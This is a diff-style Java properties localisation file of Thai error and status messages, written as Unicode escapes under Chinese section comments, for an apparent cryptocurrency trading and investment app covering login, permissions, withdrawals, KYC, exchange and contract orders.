+user.forcelogout=\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E1A\u0E31\u0E07\u0E04\u0E31\u0E1A\u0E43\u0E2B\u0E49\u0E2D\u0E2D\u0E01\u0E08\u0E32\u0E01\u0E23\u0E30\u0E1A\u0E1A \u0E42\u0E1B\u0E23\u0E14\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 +user.unknown.error=\u0E40\u0E01\u0E34\u0E14\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E17\u0E35\u0E48\u0E44\u0E21\u0E48\u0E17\u0E23\u0E32\u0E1A\u0E2A\u0E32\u0E40\u0E2B\u0E15\u0E38 \u0E42\u0E1B\u0E23\u0E14\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u0E02\u0E19\u0E32\u0E14\u0E44\u0E1F\u0E25\u0E4C\u0E17\u0E35\u0E48\u0E2D\u0E31\u0E1B\u0E42\u0E2B\u0E25\u0E14\u0E40\u0E01\u0E34\u0E19\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14\u0E02\u0E19\u0E32\u0E14\u0E44\u0E1F\u0E25\u0E4C! \u0E02\u0E19\u0E32\u0E14\u0E44\u0E1F\u0E25\u0E4C\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E17\u0E35\u0E48\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E04\u0E37\u0E2D: {0}MB! +upload.filename.exceed.length=\u0E04\u0E27\u0E32\u0E21\u0E22\u0E32\u0E27\u0E0A\u0E37\u0E48\u0E2D\u0E44\u0E1F\u0E25\u0E4C\u0E2D\u0E31\u0E1E\u0E42\u0E2B\u0E25\u0E14\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} \u0E2D\u0E31\u0E01\u0E02\u0E23\u0E30 + +##\u6743\u9650 +no.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C\u0E40\u0E02\u0E49\u0E32\u0E16\u0E36\u0E07\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C [{0}] +no.create.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E2A\u0E23\u0E49\u0E32\u0E07\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.update.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E41\u0E01\u0E49\u0E44\u0E02\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.delete.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E25\u0E1A\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.export.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E2A\u0E48\u0E07\u0E2D\u0E2D\u0E01\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.view.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C\u0E14\u0E39\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 +user.register.email.exisit=\u0E21\u0E35\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +user.register.phone.exisit=\u0E21\u0E35\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +user.user_name_exisit=\u0E0A\u0E37\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E19\u0E35\u0E49\u0E21\u0E35\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +login.user_error=\u0E0A\u0E37\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E2B\u0E23\u0E37\u0E2D\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E1C\u0E34\u0E14 +user.login.address.error=\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E16\u0E39\u0E01\u0E22\u0E36\u0E14\u0E41\u0E25\u0E49\u0E27! +user.register.phone.exist=\u0E21\u0E35\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +user.register.phone.bind=\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E16\u0E39\u0E01\u0E1C\u0E39\u0E01\u0E44\u0E27\u0E49 +#app +app.login.address.not.null=\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E02\u0E2D\u0E07\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32 +login.email.not_register=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E43\u0E0A\u0E49\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E17\u0E35\u0E48\u0E16\u0E39\u0E01\u0E1C\u0E39\u0E01\u0E44\u0E27\u0E49\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23 +login.phone.not_register=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E43\u0E0A\u0E49\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E17\u0E35\u0E48\u0E1C\u0E39\u0E01\u0E44\u0E27\u0E49\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23 +login.code_error=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14 +user.login.code.error=\u0E01\u0E32\u0E23\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E25\u0E49\u0E21\u0E40\u0E2B\u0E25\u0E27! +user.login.password.null=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E43\u0E2A\u0E48\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13! +user.login.upd.success=\u0E41\u0E01\u0E49\u0E44\u0E02\u0E40\u0E23\u0E35\u0E22\u0E1A\u0E23\u0E49\u0E2D\u0E22\u0E41\u0E25\u0E49\u0E27! +phone_code_empty=\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E40\u0E27\u0E49\u0E19\u0E27\u0E48\u0E32\u0E07! +email.code_empty=\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E27\u0E49\u0E19\u0E27\u0E48\u0E32\u0E07\u0E44\u0E14\u0E49! +user.code.send=\u0E2A\u0E48\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E40\u0E23\u0E35\u0E22\u0E1A\u0E23\u0E49\u0E2D\u0E22\u0E41\u0E25\u0E49\u0E27 +app.verification.email.code=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E44\u0E14\u0E49\u0E16\u0E39\u0E01\u0E2A\u0E48\u0E07\u0E44\u0E1B\u0E22\u0E31\u0E07\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E41\u0E25\u0E49\u0E27 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E23\u0E27\u0E08\u0E2A\u0E2D\u0E1A +user.password_bind=\u0E15\u0E31\u0E49\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E41\u0E25\u0E49\u0E27 \u0E01\u0E23\u0E38\u0E13\u0E32\u0E2D\u0E22\u0E48\u0E32\u0E1C\u0E39\u0E01\u0E21\u0E31\u0E14\u0E2D\u0E35\u0E01 +user.tard.password_bind=\u0E15\u0E31\u0E49\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E04\u0E27\u0E32\u0E21\u0E1B\u0E25\u0E2D\u0E14\u0E20\u0E31\u0E22\u0E41\u0E25\u0E49\u0E27 \u0E42\u0E1B\u0E23\u0E14\u0E2D\u0E22\u0E48\u0E32\u0E1C\u0E39\u0E01\u0E21\u0E31\u0E14\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 +user.login.null=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49! +user.login.old.password=\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E1B\u0E49\u0E2D\u0E19\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E40\u0E01\u0E48\u0E32! +user.login.new.password=\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E1B\u0E49\u0E2D\u0E19\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E43\u0E2B\u0E21\u0E48! +user.login.paw.upd=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E43\u0E2B\u0E21\u0E48\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E40\u0E2B\u0E21\u0E37\u0E2D\u0E19\u0E01\u0E31\u0E1A\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E40\u0E01\u0E48\u0E32! +user.login.old.password.error=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E40\u0E01\u0E48\u0E32\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07! +user.login.address.null=\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32! +user.login.userid.null=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32! +#\u63D0\u73B0 +user.password_notbind=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E15\u0E31\u0E49\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E25\u0E2D\u0E14\u0E20\u0E31\u0E22 +tard_password.error=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E01\u0E32\u0E23\u0E0A\u0E33\u0E23\u0E30\u0E40\u0E07\u0E34\u0E19\u0E1C\u0E34\u0E14 +withdraw.amount_number_exceed=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E16\u0E2D\u0E19\u0E43\u0E19\u0E27\u0E31\u0E19\u0E19\u0E31\u0E49\u0E19\u0E40\u0E01\u0E34\u0E19\u0E08\u0E33\u0E19\u0E27\u0E19\u0E17\u0E35\u0E48\u0E01\u0E33\u0E2B\u0E19\u0E14 +withdraw_error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E16\u0E2D\u0E19\u0E40\u0E07\u0E34\u0E19\u0E2A\u0E14\u0E44\u0E14\u0E49 +withdraw.amount_error=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E16\u0E2D\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 \u0E42\u0E1B\u0E23\u0E14\u0E41\u0E01\u0E49\u0E44\u0E02 +withdraw.refresh=\u0E42\u0E1B\u0E23\u0E14\u0E23\u0E35\u0E40\u0E1F\u0E23\u0E0A +withdraw.address.isnull=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E01\u0E23\u0E2D\u0E01\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E16\u0E2D\u0E19\u0E40\u0E07\u0E34\u0E19\u0E43\u0E2B\u0E49\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07! +withdraw_require_error = \u0E1B\u0E31\u0E08\u0E08\u0E38\u0E1A\u0E31\u0E19\u0E1C\u0E21\u0E22\u0E31\u0E07\u0E15\u0E49\u0E2D\u0E07\u0E40\u0E25\u0E48\u0E19\u0E14\u0E49\u0E27\u0E22\u0E40\u0E17\u0E34\u0E23\u0E4C\u0E19\u0E42\u0E2D\u0E40\u0E27\u0E2D\u0E23\u0E4C\u0E17\u0E35\u0E48\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E2D\u0E22\u0E39\u0E48 +withdraw_error_coin=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E19\u0E35\u0E49 +withdraw_error_rate=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2D\u0E31\u0E15\u0E23\u0E32\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E19\u0E35\u0E49 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u0E15\u0E49\u0E2D\u0E07\u0E01\u0E23\u0E2D\u0E01\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E15\u0E31\u0E27\u0E15\u0E19\u0E17\u0E31\u0E49\u0E07 4 \u0E0A\u0E34\u0E49\u0E19 + +#\u5151\u6362 +exchange.symbol.exist=\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E27\u0E49\u0E19\u0E27\u0E48\u0E32\u0E07\u0E44\u0E14\u0E49 \u0E41\u0E25\u0E30\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E15\u0E49\u0E2D\u0E07\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32 0 +recharge.amout.min=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E40\u0E15\u0E34\u0E21\u0E40\u0E07\u0E34\u0E19\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +recharge.amout.max=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E40\u0E15\u0E34\u0E21\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} +currency.exchange_min=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +currency.exchange_max=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} +exchange_error=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32\u0E22\u0E2D\u0E14\u0E40\u0E07\u0E34\u0E19\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35 +exchange.record.exist.error=\u0E04\u0E38\u0E13\u0E01\u0E33\u0E25\u0E31\u0E07\u0E41\u0E25\u0E01 \u0E42\u0E1B\u0E23\u0E14\u0E25\u0E2D\u0E07\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07\u0E43\u0E19\u0E20\u0E32\u0E22\u0E2B\u0E25\u0E31\u0E07 +#\u79D2\u5408\u7EA6 +order_amount_error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E43\u0E19\u0E01\u0E23\u0E30\u0E40\u0E1B\u0E4B\u0E32\u0E2A\u0E15\u0E32\u0E07\u0E04\u0E4C\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D \u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49 +order_10s_retry=\u0E21\u0E35\u0E01\u0E32\u0E23\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E1A\u0E48\u0E2D\u0E22\u0E40\u0E01\u0E34\u0E19\u0E44\u0E1B \u0E42\u0E1B\u0E23\u0E14\u0E25\u0E2D\u0E07\u0E2A\u0E31\u0E48\u0E07\u0E0B\u0E37\u0E49\u0E2D\u0E2B\u0E25\u0E31\u0E07\u0E08\u0E32\u0E01\u0E1C\u0E48\u0E32\u0E19\u0E44\u0E1B 10 \u0E27\u0E34\u0E19\u0E32\u0E17\u0E35... +#\u7406\u8D22 +user.push.message=\u0E1B\u0E34\u0E14\u0E01\u0E32\u0E23\u0E43\u0E0A\u0E49\u0E07\u0E32\u0E19\u0E01\u0E32\u0E23\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23\u0E02\u0E2D\u0E07\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49 +mine.level.error=\u0E23\u0E30\u0E14\u0E31\u0E1A VIP \u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D\u0E17\u0E35\u0E48\u0E08\u0E30\u0E0B\u0E37\u0E49\u0E2D\u0E1C\u0E25\u0E34\u0E15\u0E20\u0E31\u0E13\u0E11\u0E4C\u0E17\u0E32\u0E07\u0E01\u0E32\u0E23\u0E40\u0E07\u0E34\u0E19\u0E23\u0E2D\u0E07 +order.single.min=\u0E22\u0E2D\u0E14\u0E0B\u0E37\u0E49\u0E2D\u0E15\u0E48\u0E33\u0E01\u0E27\u0E48\u0E32\u0E22\u0E2D\u0E14\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49 +order.single.max=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E40\u0E01\u0E34\u0E19\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49 +order.buy.insufficient=\u0E02\u0E13\u0E30\u0E19\u0E35\u0E49\u0E04\u0E38\u0E13\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E0B\u0E37\u0E49\u0E2D\u0E44\u0E14\u0E49\u0E16\u0E36\u0E07 {0} +product.removed=\u0E1C\u0E25\u0E34\u0E15\u0E20\u0E31\u0E13\u0E11\u0E4C\u0E19\u0E35\u0E49\u0E16\u0E39\u0E01\u0E22\u0E01\u0E40\u0E25\u0E34\u0E01\u0E01\u0E32\u0E23\u0E1C\u0E25\u0E34\u0E15\u0E41\u0E25\u0E49\u0E27 +financial.count.max=\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E23\u0E32\u0E22\u0E19\u0E35\u0E49\u0E16\u0E36\u0E07\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14\u0E41\u0E25\u0E49\u0E27\u0E41\u0E25\u0E30\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E0B\u0E37\u0E49\u0E2D +days.not.null=\u0E27\u0E07\u0E08\u0E23\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32 +days.not.error=\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E23\u0E2D\u0E1A\u0E01\u0E32\u0E23\u0E08\u0E31\u0E14\u0E0B\u0E37\u0E49\u0E2D\u0E08\u0E31\u0E14\u0E08\u0E49\u0E32\u0E07 +contract.accont.error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E2A\u0E31\u0E0D\u0E0D\u0E32\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +contract.min.share=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +contract.max.share=\u0E1B\u0E23\u0E34\u0E21\u0E32\u0E13\u0E01\u0E32\u0E23\u0E0B\u0E37\u0E49\u0E2D\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} +contract.asset.error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E43\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E2A\u0E31\u0E0D\u0E0D\u0E32\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D +adjust.min.error=\u0E2D\u0E31\u0E15\u0E23\u0E32\u0E01\u0E33\u0E44\u0E23\u0E02\u0E31\u0E49\u0E19\u0E15\u0E49\u0E19\u0E17\u0E35\u0E48\u0E25\u0E14\u0E25\u0E07\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E2D\u0E31\u0E15\u0E23\u0E32\u0E01\u0E33\u0E44\u0E23\u0E02\u0E31\u0E49\u0E19\u0E15\u0E49\u0E19\u0E44\u0E14\u0E49 +order.status.error=\u0E22\u0E37\u0E48\u0E19\u0E41\u0E1A\u0E1A\u0E1C\u0E34\u0E14\u0E01\u0E0E\u0E2B\u0E21\u0E32\u0E22 +contract.buy.earn.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E0B\u0E37\u0E49\u0E2D\u0E15\u0E33\u0E41\u0E2B\u0E19\u0E48\u0E07 \u0E23\u0E32\u0E04\u0E32\u0E17\u0E33\u0E01\u0E33\u0E44\u0E23\u0E08\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E15\u0E48\u0E33\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 +contract.buy.loss.error=\u0E40\u0E21\u0E37\u0E48\u0E2D\u0E0B\u0E37\u0E49\u0E2D \u0E23\u0E32\u0E04\u0E32\u0E2B\u0E22\u0E38\u0E14\u0E02\u0E32\u0E14\u0E17\u0E38\u0E19\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E2A\u0E39\u0E07\u0E01\u0E27\u0E48\u0E32\u0E23\u0E32\u0E04\u0E32\u0E40\u0E1B\u0E34\u0E14\u0E40\u0E09\u0E25\u0E35\u0E48\u0E22 